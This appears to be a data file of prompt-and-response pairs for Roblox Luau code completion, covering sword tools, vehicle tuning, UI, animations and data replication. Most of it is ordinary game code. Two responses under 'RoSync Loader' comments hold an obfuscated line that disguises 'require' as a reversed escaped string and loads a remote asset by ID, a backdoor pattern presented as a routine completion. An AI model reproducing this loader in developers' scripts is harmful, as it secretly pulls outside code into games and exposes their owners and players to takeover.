	Part= nil,
	Owner = nil,--player object that owns this sword

	OnHit = nil,
	OnHitHumanoid = nil,
	OnAttackReady = nil,
	OnAttack = nil,

	SwingSound = nil,
	HitSound = nil,
	SwingAnimation = nil, --animation track!

	ActiveConnections = {},

}
do
	UTIL.MakeClass(SwordPart)
	function SwordPart.New(npart,nowner)
		local init= UTIL.DeepCopy(SwordPart)
		init.Part= npart
		init.Owner = nowner
		table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end))

		init.OnHit = InternalEvent.New()
		init.OnHitHumanoid = InternalEvent.New()
		init.OnAttackReady = InternalEvent.New()
		init.OnAttack = InternalEvent.New()

		return init
	end

	function SwordPart:SwordTouch(hit)
		if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end
		self.OnHit:Fire(hit)
		local character,humanoid = UTIL.FindCharacterAncestor(hit)
		if character and character ~= self.Owner.Character then
			humanoid:TakeDamage(self.Damage)
			self.OnHitHumanoid:Fire(humanoid,hit)
			self.LastHit = tick()
			if self.HitSound then
				self.HitSound:Play()
			end
		end

	end

	function SwordPart:DoSwing()
		if tick()-self.LastSwing<self.AttackTime+self.CoolDown then
			return
		end

		if self.SwingAnimation then
			self.SwingAnimation:Play()
		end
		if self.SwingSound then
			self.SwingSound:Play()
		end
		self.LastSwing = tick()
		self.OnAttack:Fire()
	end

	function SwordPart:Destroy()
		for _,i in pairs(self.ActiveConnections) do
			i:disconnect()
		end
	end
end
do
	local Handle = script.Parent
	local Tool = Handle.Parent

	local Player = game.Players.LocalPlayer
	local Character = UTIL.WaitForValidCharacter(Player)
	local SwingAni = UTIL.Instantiate"Animation"
	{AnimationId = "http://www.roblox.com/Asset?ID=89289879"}

	local HitSound = Handle:WaitForChild('Hit')
	local SwingSound = Handle:WaitForChild('Swing')

	local SwingAniTrack

	local Sword

	Tool.Equipped:connect(function(mouse)
		Sword = SwordPart.New(Handle,Player)
		Sword.Damage = 40
		Sword.HitSound = HitSound
		Sword.SwingSound = SwingSound
		Character = UTIL.WaitForValidCharacter(Player)
		local Humanoid = Character:FindFirstChild('Humanoid')

		SwingAniTrack = Humanoid:LoadAnimation(SwingAni)
		Sword.SwingAnimation = SwingAniTrack

		Sword.OnHitHumanoid:Connect(function(humanoid,hit)
			local myTorso = Character:FindFirstChild('Torso')
			local torso = humanoid.Parent:FindFirstChild('Torso')
			if not torso or not myTorso then return end

			if hit.Name=='idk' or hit.Name=='idk' or hit.Name=='idk' or hit.Name=='idk' then
				hit:BreakJoints()
				WeldUtil.WeldBetween(hit, Handle)
				Delay(1,function() hit:BreakJoints() end )
			end
		end)

		mouse.Button1Down:connect(function()
			Sword:DoSwing()
		end)
	end)
	Tool.Unequipped:connect(function()
		Sword:Destroy()
	end)

end


Prompt: -- Play sounds

Response:
for _, effect in pairs(EffectsToPlay:GetChildren()) do
	if effect:IsA("Sound") then
		effect:Play()
	elseif effect:IsA("ParticleEmitter") then
		-- Emit particles for enough time to create a cloud
		effect.Enabled = true
	end
end

wait(8)


Prompt: --					warn(b, b:GetChildren())

Response:
					local val = b.text.Value	-- обязательный элемент
					local new = sample:Clone()	--Make a clone of the sample frame
					new.PName.Text = val		-- устанавливаем текст
					-- new.LayoutOrder = num + a	--UIListLayout используется для корректной сортировки списка
					local x = b:FindFirstChild("image")
					if x then
						image = x.Value
					end
					if image then
						new.Image.Image = image	-- установка картинки
					else
						new.Image.Parent = nil
						new.Pname.Position.X = UDim.new(0,0)
						new.Pname.Size = UDim2.new(1,0,1,0)
					end

							-- подключение скрипта самоуничтожения
					local des = dm:Clone()
					des.Parent = new
					des.Disabled = false
					-- вывод на экран
					new.Parent = sf--Parent to scrolling frame
					new.DestroyMe.Disabled = false	-- стартуем скрипт самоуничтожения
				end
				b.Parent = nil
			end
							-- уничтожаем элементы
			for a,b in pairs(tmp) do


Prompt: --// # key, Else

Response:
mouse.KeyDown:connect(function(key)
	if key=="n" then
		if veh.Lightbar.middle.Else.IsPlaying == true then
		veh.Lightbar.middle.Wail:Stop()
		veh.Lightbar.middle.Else:Stop()
		veh.Lightbar.middle.Priority:Stop()
		script.Parent.Parent.Sirens.meme.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		else
		veh.Lightbar.middle.Wail:Stop()
		veh.Lightbar.middle.Else:Play()
		veh.Lightbar.middle.Priority:Stop()
		script.Parent.Parent.Sirens.Else.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
		script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		end
	end
end)


Prompt: --This control module helps synchronize flashing signals. Helps multiple flashing signals to flash at the same time


Prompt:
-- Coroutine runner that we create coroutines of. The coroutine can be
-- repeatedly resumed with functions to run followed by the argument to run
-- them with.

Response:
local function runEventHandlerInFreeThread(...)
	acquireRunnerThreadAndCallEventHandler(...)
	while true do
		acquireRunnerThreadAndCallEventHandler(coroutine.yield())
	end
end


Prompt: --				{ id = "slash.xml", weight = 10 }

Response:
			},
	toollunge = {
				{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
			},
	wave = {
				{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
			},
	point = {
				{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
			},
	dance = {
				{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
			},
	dance2 = {
				{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
			},
	dance3 = {
				{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
			},
	laugh = {
				{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
			},
	cheer = {
				{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
			},
}


Prompt: -- Write handlers:

Response:
local function ReplicaSetValue(replica_id, path_array, value)
	local replica = Replicas[replica_id]
	-- Getting path pointer and listener table:
	local pointer = replica.Data
	local listeners = replica._table_listeners
	for i = 1, #path_array - 1 do
		pointer = pointer[path_array[i]]
		if listeners ~= nil then
			listeners = listeners[1][path_array[i]]
		end
	end
	-- Setting value:
	local key = path_array[#path_array]
	local old_value = pointer[key]
	pointer[key] = value
	-- Signaling listeners:
	if old_value ~= value and listeners ~= nil then
		if old_value == nil then
			if listeners[3] ~= nil then -- "NewKey" listeners
				for _, listener in ipairs(listeners[3]) do
					listener(value, key)
				end
			end
		end
		listeners = listeners[1][path_array[#path_array]]
		if listeners ~= nil then
			if listeners[2] ~= nil then -- "Change" listeners
				for _, listener in ipairs(listeners[2]) do
					listener(value, old_value)
				end
			end
		end
	end
	-- Raw listeners:
	for _, listener in ipairs(replica._raw_listeners) do
		listener("SetValue", path_array, value)
	end
end

local function ReplicaSetValues(replica_id, path_array, values)
	local replica = Replicas[replica_id]
	-- Getting path pointer and listener table:
	local pointer = replica.Data
	local listeners = replica._table_listeners
	for i = 1, #path_array do
		pointer = pointer[path_array[i]]
		if listeners ~= nil then
			listeners = listeners[1][path_array[i]]
		end
	end
	-- Setting values:
	for key, value in pairs(values) do
		-- Set value:
		local old_value = pointer[key]
		pointer[key] = value
		-- Signaling listeners:
		if old_value ~= value and listeners ~= nil then
			if old_value == nil then
				if listeners[3] ~= nil then -- "NewKey" listeners
					for _, listener in ipairs(listeners[3]) do
						listener(value, key)
					end
				end
			end
			local key_listeners = listeners[1][key]
			if key_listeners ~= nil then
				if key_listeners[2] ~= nil then -- "Change" listeners
					for _, listener in ipairs(key_listeners[2]) do
						listener(value, old_value)
					end
				end
			end
		end
	end
	-- Raw listeners:
	for _, listener in ipairs(replica._raw_listeners) do
		listener("SetValues", path_array, values)
	end
end

local function ReplicaArrayInsert(replica_id, path_array, value) --> new_index
	local replica = Replicas[replica_id]
	-- Getting path pointer and listener table:
	local pointer = replica.Data
	local listeners = replica._table_listeners
	for i = 1, #path_array do
		pointer = pointer[path_array[i]]
		if listeners ~= nil then
			listeners = listeners[1][path_array[i]]
		end
	end
	-- Setting value:
	table.insert(pointer, value)
	-- Signaling listeners:
	local new_index = #pointer
	if listeners ~= nil then
		if listeners[4] ~= nil then -- "ArrayInsert" listeners
			for _, listener in ipairs(listeners[4]) do
				listener(new_index, value)
			end
		end
	end
	-- Raw listeners:
	for _, listener in ipairs(replica._raw_listeners) do
		listener("ArrayInsert", path_array, value, new_index)
	end
	return new_index
end

local function ReplicaArraySet(replica_id, path_array, index, value)
	local replica = Replicas[replica_id]
	-- Getting path pointer and listener table:
	local pointer = replica.Data
	local listeners = replica._table_listeners
	for i = 1, #path_array do
		pointer = pointer[path_array[i]]
		if listeners ~= nil then
			listeners = listeners[1][path_array[i]]
		end
	end
	-- Setting value:
	pointer[index] = value
	-- Signaling listeners:
	if listeners ~= nil then
		if listeners[5] ~= nil then -- "ArraySet" listeners
			for _, listener in ipairs(listeners[5]) do
				listener(index, value)
			end
		end
	end
	-- Raw listeners:
	for _, listener in ipairs(replica._raw_listeners) do
		listener("ArraySet", path_array, index, value)
	end
end

local function ReplicaArrayRemove(replica_id, path_array, index) --> removed_value
	local replica = Replicas[replica_id]
	-- Getting path pointer and listener table:
	local pointer = replica.Data
	local listeners = replica._table_listeners
	for i = 1, #path_array do
		pointer = pointer[path_array[i]]
		if listeners ~= nil then
			listeners = listeners[1][path_array[i]]
		end
	end
	-- Setting value:
	local old_value = table.remove(pointer, index)
	-- Signaling listeners:
	if listeners ~= nil then
		if listeners[6] ~= nil then -- "ArrayRemove" listeners
			for _, listener in ipairs(listeners[6]) do
				listener(index, old_value)
			end
		end
	end
	-- Raw listeners:
	for _, listener in ipairs(replica._raw_listeners) do
		listener("ArrayRemove", path_array, index, old_value)
	end
	return old_value
end


Prompt:
--[[
local function touchEnded(otherPart)
	if(otherPart.Name == "HumanoidRootPart" ) then
		local player = game.Players:FindFirstChild(otherPart.Parent.Name)
		if(player) then
			--print("touch ended")
			playersNear[player] = nil

			if(next(playersNear) == nil) then
				if(doorState == DoorState.Open) then
					StartClosing()
				end
			end
		end
	end
end]]

Response: trigger.Touched:Connect(touched)


Prompt: -- handle to the game service object

Response: r = game:service("RunService")


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -6.5
	Tune.RCamber		= -7.5
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt:
--[[*
 * Converts a list of globs into a function that matches a path against the
 * globs.
 *
 * Every time picomatch is called, it will parse the glob strings and turn
 * them into regexp instances. Instead of calling picomatch repeatedly with
 * the same globs, we can use this function which will build the picomatch
 * matchers ahead of time and then have an optimized path for determining
 * whether an individual path matches.
 *
 * This function is intended to match the behavior of `micromatch()`.
 *
 * @example
 * const isMatch = globsToMatcher(['*.js', '!*.test.js']);
 * isMatch('pizza.js'); // true
 * isMatch('pizza.test.js'); // false
 ]]

Response:
local function globsToMatcher(globs: Array<Config_Glob>): MatcherFn
	if #globs == 0 then
		-- Since there were no globs given, we can simply have a fast path here and
		-- return with a very simple function.
		return function()
			return false
		end
	end

	local matchers = Array.map(globs, function(glob)
		if not globsToMatchersMap:has(glob) then
			local isMatch = picomatch(glob, picomatchOptions, true) :: Matcher

			local matcher = {
				isMatch = isMatch,
				-- Matchers that are negated have different behavior than matchers that
				-- are not negated, so we need to store this information ahead of time.
				negated = isMatch.state.negated or Boolean.toJSBoolean(isMatch.state.negatedExtglob),
			}

			globsToMatchersMap:set(glob, matcher)
		end

		return globsToMatchersMap:get(glob) :: { isMatch: Matcher, negated: boolean }
	end)

	return function(path)
		-- ROBLOX FIXME START: implement replacePathSepForGlob
		local replacedPath = path
		-- local replacedPath = replacePathSepForGlob(path)
		-- ROBLOX FIXME END
		local kept = nil
		local negatives = 0

		for i = 1, #matchers do
			local isMatch, negated
			local ref = matchers[i]
			isMatch, negated = ref.isMatch, ref.negated

			if negated then
				negatives += 1
			end

			local matched = isMatch(replacedPath)

			if not matched and negated then
				-- The path was not matched, and the matcher is a negated matcher, so we
				-- want to omit the path. This means that the negative matcher is
				-- filtering the path out.
				kept = false
			elseif matched and not negated then
				-- The path was matched, and the matcher is not a negated matcher, so we
				-- want to keep the path.
				kept = true
			end
		end

		-- If all of the globs were negative globs, then we want to include the path
		-- as long as it was not explicitly not kept. Otherwise only include
		-- the path if it was kept. This allows sets of globs that are all negated
		-- to allow some paths to be matched, while sets of globs that are mixed
		-- negated and non-negated to cause the negated matchers to only omit paths
		-- and not keep them.
		return if negatives == #matchers then kept ~= false else Boolean.toJSBoolean(kept)
	end
end
exports.default = globsToMatcher

return exports


Prompt: -- << VARIABLES >>

Response:
local topBar = main.gui.CustomTopBar
local coreToHide = {"Chat", "PlayerList"}
local originalCoreStates = {};
local cmdBar = main.gui.CmdBar
local currentProps = {}
local originalTopBarTransparency = 1
local originalTopBarVisibility = true
local mainProps
mainProps = {
	maxSuggestions = 5;
	mainParent = cmdBar;
	textBox = cmdBar.SearchFrame.TextBox;
	rframe = cmdBar.ResultsFrame;
	suggestionPos = 1;
	suggestionDisplayed = 0;
	forceExecute = false;
	highlightColor = Color3.fromRGB(50,50,50);
	otherColor = Color3.fromRGB(80,80,80);
	suggestionLabels = {};
	currentBarCommand = nil;
}


Prompt: --[[ The Module ]]

Response:
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local Gamepad = setmetatable({}, BaseCharacterController)
Gamepad.__index = Gamepad

function Gamepad.new(CONTROL_ACTION_PRIORITY)
	local self = setmetatable(BaseCharacterController.new(), Gamepad)

	self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY

	self.forwardValue  = 0
	self.backwardValue = 0
	self.leftValue = 0
	self.rightValue = 0

	self.activeGamepad = NONE	-- Enum.UserInputType.Gamepad1, 2, 3...
	self.gamepadConnectedConn = nil
	self.gamepadDisconnectedConn = nil
	return self
end

function Gamepad:Enable(enable: boolean): boolean
	if not UserInputService.GamepadEnabled then
		return false
	end

	if enable == self.enabled then
		-- Module is already in the state being requested. True is returned here since the module will be in the state
		-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate
		-- no action was necessary. False indicates failure to be in requested/expected state.
		return true
	end

	self.forwardValue  = 0
	self.backwardValue = 0
	self.leftValue = 0
	self.rightValue = 0
	self.moveVector = ZERO_VECTOR3
	self.isJumping = false

	if enable then
		self.activeGamepad = self:GetHighestPriorityGamepad()
		if self.activeGamepad ~= NONE then
			self:BindContextActions()
			self:ConnectGamepadConnectionListeners()
		else
			-- No connected gamepads, failure to enable
			return false
		end
	else
		self:UnbindContextActions()
		self:DisconnectGamepadConnectionListeners()
		self.activeGamepad = NONE
	end

	self.enabled = enable
	return true
end


Prompt: ---------END LEFT DOOR

Response:
game.Workspace.DoorClosed.Value = false
end
game.Workspace.DoorValues.Moving.Value = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --[[ Last synced 10/14/2020 09:37 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: --[[ Last synced 12/11/2020 06:21 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: --- FUNCTIONS ---

Response:
function lookAt(eye, target)
	local forwardVector = (target - eye).Unit
	local upVector = Vector3.new(0, 1, 0)
	-- You have to remember the right hand rule or google search to get this right
	local rightVector = forwardVector:Cross(upVector)
	local upVector2 = rightVector:Cross(forwardVector)

	return CFrame.fromMatrix(eye, rightVector, upVector2)
end


Prompt: --[[ The Module ]]

Response:
--
local MouseLockController = {}
MouseLockController.__index = MouseLockController

function MouseLockController.new()
	local self = setmetatable({}, MouseLockController)

	self.isMouseLocked = false
	self.savedMouseCursor = nil
	self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults

	self.mouseLockToggledEvent = Instance.new("BindableEvent")

	local boundKeysObj = script:FindFirstChild("BoundKeys")
	if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
		-- If object with correct name was found, but it's not a StringValue, destroy and replace
		if boundKeysObj then
			boundKeysObj:Destroy()
		end

		boundKeysObj = Instance.new("StringValue")
		-- Luau FIXME: should be able to infer from assignment above that boundKeysObj is not nil
		assert(boundKeysObj, "")
		boundKeysObj.Name = "BoundKeys"
		boundKeysObj.Value = "LeftShift,RightShift"
		boundKeysObj.Parent = script
	end

	if boundKeysObj then
		boundKeysObj.Changed:Connect(function(value)
			self:OnBoundKeysObjectChanged(value)
		end)
		self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
	end

	-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
	GameSettings.Changed:Connect(function(property)
		if property == "ControlMode" or property == "ComputerMovementMode" then
			self:UpdateMouseLockAvailability()
		end
	end)

	-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
	PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
		self:UpdateMouseLockAvailability()
	end)

	-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
	PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
		self:UpdateMouseLockAvailability()
	end)

	self:UpdateMouseLockAvailability()

	return self
end

function MouseLockController:GetIsMouseLocked()
	return self.isMouseLocked
end

function MouseLockController:GetBindableToggleEvent()
	return self.mouseLockToggledEvent.Event
end

function MouseLockController:GetMouseLockOffset()
	local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value
	if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
		return offsetValueObj.Value
	else
		-- If CameraOffset object was found but not correct type, destroy
		if offsetValueObj then
			offsetValueObj:Destroy()
		end
		offsetValueObj = Instance.new("Vector3Value")
		assert(offsetValueObj, "")
		offsetValueObj.Name = "CameraOffset"
		offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
		offsetValueObj.Parent = script
	end

	if offsetValueObj and offsetValueObj.Value then
		return offsetValueObj.Value
	end

	return Vector3.new(1.75,0,0)
end

function MouseLockController:UpdateMouseLockAvailability()
	local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
	local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
	local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
	local userHasClickToMoveEnabled =  GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
	local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable

	if MouseLockAvailable~=self.enabled then
		self:EnableMouseLock(MouseLockAvailable)
	end
end

function MouseLockController:OnBoundKeysObjectChanged(newValue: string)
	self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
	for token in string.gmatch(newValue,"[^%s,]+") do
		for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
			if token == keyEnum.Name then
				self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode
				break
			end
		end
	end
	self:UnbindContextActions()
	self:BindContextActions()
end


Prompt:
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect

Response: local AimInaccuracyStepAmount = .15


Prompt: --[[Handlebars]]

Response:
--
	Tune.SteerAngle		= 18		-- Handlebar angle at max lock (in degrees)
	Tune.MSteerExp		= 1 		-- Mouse steering exponential degree
	Tune.LowSpeedCut	= 60 		-- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30)

	Tune.SteerD			= 50 		-- Dampening of the Low speed steering
	Tune.SteerMaxTorque	= 4000 		-- Force of the the Low speed steering
	Tune.SteerP			= 500 		-- Aggressiveness of the the Low speed steering


Prompt: -- Services --

Response:
local svcWorkspace = game:GetService("Workspace")
local Camera = svcWorkspace.CurrentCamera


Prompt: --// Global Wrapping

Response:
Enum = service_Wrap(Enum, true)
rawequal = service.RawEqual
script = service_Wrap(script, true)
game = service_Wrap(game, true)
workspace = service_Wrap(workspace, true)
Instance = {
	new = function(obj, parent)
		return service_Wrap(oldInstNew(obj, service_UnWrap(parent)), true)
	end,
}
require = function(obj, noWrap: boolean?)
	return if noWrap == true then oldReq(service_UnWrap(obj)) else service_Wrap(oldReq(service_UnWrap(obj)), true)
end

client.Service = service
client.Module = service_Wrap(client.Module, true)


Prompt: -- https://developer.roblox.com/en-us/api-reference/enum/Material

Response:
local WATER = -0.60	-- уровень воды
local DELTA = 0.2	-- дельта изменения поверхности

local Players = game:GetService("Players")


Prompt: -- RANK, RANK NAMES & SPECIFIC USERS

Response:
Ranks = {
	{5,	"Owner",		};
	{4,	"HeadAdmin",	{"Player1","",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};


Prompt: -- Create component

Response:
local ToolButton = Roact.PureComponent:extend(script.Name)

function ToolButton:init()
    self:UpdateHotkeyTextSize(self.props.HotkeyLabel)
end

function ToolButton:willUpdate(nextProps)
    if self.props.HotkeyLabel ~= nextProps.HotkeyLabel then
        self:UpdateHotkeyTextSize(nextProps.HotkeyLabel)
    end
end

function ToolButton:UpdateHotkeyTextSize(Text)
    self.HotkeyTextSize = TextService:GetTextSize(
        Text,
        9,
        Enum.Font.Gotham,
        Vector2.new(math.huge, math.huge)
    )
end

function ToolButton:render()
    return new('ImageButton', {
        BackgroundColor3 = self.props.Tool.Color.Color;
        BackgroundTransparency = (self.props.CurrentTool == self.props.Tool) and 0 or 1;
        BorderSizePixel = 0;
        Image = self.props.IconAssetId;
        AutoButtonColor = false;
        [Roact.Event.Activated] = function ()
            self.props.Core.EquipTool(self.props.Tool)
        end;
    }, {
        Corners = new('UICorner', {
            CornerRadius = UDim.new(0, 3);
        });
        Hotkey = new('TextLabel', {
            BackgroundTransparency = 1;
            Position = UDim2.new(0, 3, 0, 3);
            Size = UDim2.fromOffset(self.HotkeyTextSize.X, self.HotkeyTextSize.Y);
            Font = Enum.Font.Gotham;
            Text = self.props.HotkeyLabel;
            TextColor3 = Color3.fromRGB(255, 255, 255);
            TextSize = 9;
            TextXAlignment = Enum.TextXAlignment.Left;
            TextYAlignment = Enum.TextYAlignment.Top;
        });
    })
end

return ToolButton


Prompt: --!strict

Response:
local Sift = script.Parent.Parent

local CopyDeep = require(script.Parent.copyDeep)
local None = require(Sift.None)


Prompt:
--- Registers a command based purely on its definition.
-- Prefer using Registry:RegisterCommand for proper handling of server/client model.

Response:
function Registry:RegisterCommandObject (commandObject)
	for key in pairs(commandObject) do
		if self.CommandMethods[key] == nil then
			error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key)
		end
	end

	if commandObject.Args then
		for i, arg in pairs(commandObject.Args) do
			for key in pairs(arg) do
				if self.CommandArgProps[key] == nil then
					error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key))
				end
			end
		end
	end

	if RunService:IsClient() and commandObject.Data and commandObject.Run then
		error(('Invalid command implementation provided for "%s": "Data" and "Run" sections are mutually exclusive'):format(commandObject.Name or "unknown"))
	end

	if commandObject.AutoExec and RunService:IsClient() then
		table.insert(self.AutoExecBuffer, commandObject.AutoExec)
		self:FlushAutoExecBufferDeferred()
	end

	-- Unregister the old command if it exists...
	local oldCommand = self.Commands[commandObject.Name:lower()]
	if oldCommand and oldCommand.Aliases then
		for _, alias in pairs(oldCommand.Aliases) do
			self.Commands[alias:lower()] = nil
		end
	elseif not oldCommand then
		self.CommandsArray[#self.CommandsArray + 1] = commandObject
	end

	self.Commands[commandObject.Name:lower()] = commandObject

	if commandObject.Aliases then
		for _, alias in pairs(commandObject.Aliases) do
			self.Commands[alias:lower()] = commandObject
		end
	end
end


Prompt: -- Connect the function to new player character additions

Response:
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(onCharacterAdded)
end)


Prompt: -- Other Variables

Response:
local Tools = ServerStorage.Tools
local Membership = Enum.MembershipType
local None = Membership.None
local Premium = Membership.Premium
local ToolSettings = require(ServerStorage.ToolConfig)


Prompt: --== SETTINGS ==--

Response:
local Key = Enum.KeyCode.F
local AnimationLength = 5.01


Prompt: --Если нажата

Response:
Mos.KeyDown:connect(function(key)
	if key:lower() == string.char(48) then
		game.Workspace.Camera.FieldOfView = game.Workspace.Camera.FieldOfView + 1.6
		local Player1 = game.Players.LocalPlayer.Character.Humanoid
		if Player1 then
			Player1.WalkSpeed = 25
		end
	end
end)